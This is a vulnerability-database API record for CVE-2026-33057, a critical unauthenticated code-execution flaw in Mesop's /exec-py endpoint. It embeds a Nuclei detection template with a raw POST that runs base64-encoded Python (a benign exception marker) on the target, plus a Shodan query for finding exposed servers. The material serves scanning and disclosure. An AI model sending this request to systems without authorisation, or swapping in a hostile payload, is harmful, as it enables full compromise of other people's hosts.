{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2026-33057/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2026-33057/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2026-33057/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2026-33057/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2026-33057/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2026-33057"},"sightings":{"href":"/api/v1/sightings/cve-2026-33057"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2026/CVE-2026-33057.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2026-33057\n\ninfo:\n  name: Mesop AI Sandbox <= 1.2.2 - Remote Code Execution\n  author: sammiee5311,liyander\n  severity: critical\n  description: |\n    Mesop <= 1.2.2 contains an unrestricted remote code execution caused by unauthenticated ingestion and execution of base64-encoded Python code in the /exec-py endpoint of ai/testing module, letting attackers execute arbitrary commands on the host, exploit requires HTTP access to the server.\n  impact: |\n    Attackers can execute arbitrary commands on the host, leading to full system compromise.\n  remediation: |\n    Upgrade to version 1.2.3 or later.\n  reference:\n    - https://github.com/mesop-dev/mesop/security/advisories/GHSA-gjgx-rvqr-6w6v\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-33057\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2026-33057\n    epss-score: 0.05295\n    epss-percentile: 0.92604\n    cwe-id: CWE-94\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: mesop-dev\n    product: mesop\n    shodan-query: html:\"Mesop\"\n  tags: cve,cve2026,mesop,rce,oss,vkev\n\nvariables:\n  marker: \"{{rand_base(16)}}\"\n  payload: '{{replace(replace(base64(concat(\"raise Exception(\\\"\", marker, \"\\\")\")), \"+\", \"-\"), \"/\", \"_\")}}'\n\nflow: http(1) && http(2)\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}\"\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains_all(body, \"<title>Mesop\")'\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        @timeout: 20s\n        POST /exec-py HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        code={{payload}}\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"{{marker}}\"\n\n      - type: status\n        status:\n          - 500\n# digest: 4a0a00473045022061ffc93ffc1bb7ee857deae3151c2f550595047284bbad0bfad483e989a409cb022100d41ca7b7e667c10d8d1b90161508a1c8e696a4a89c0ad1b3508e5f3ff3515357:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2026-33057"}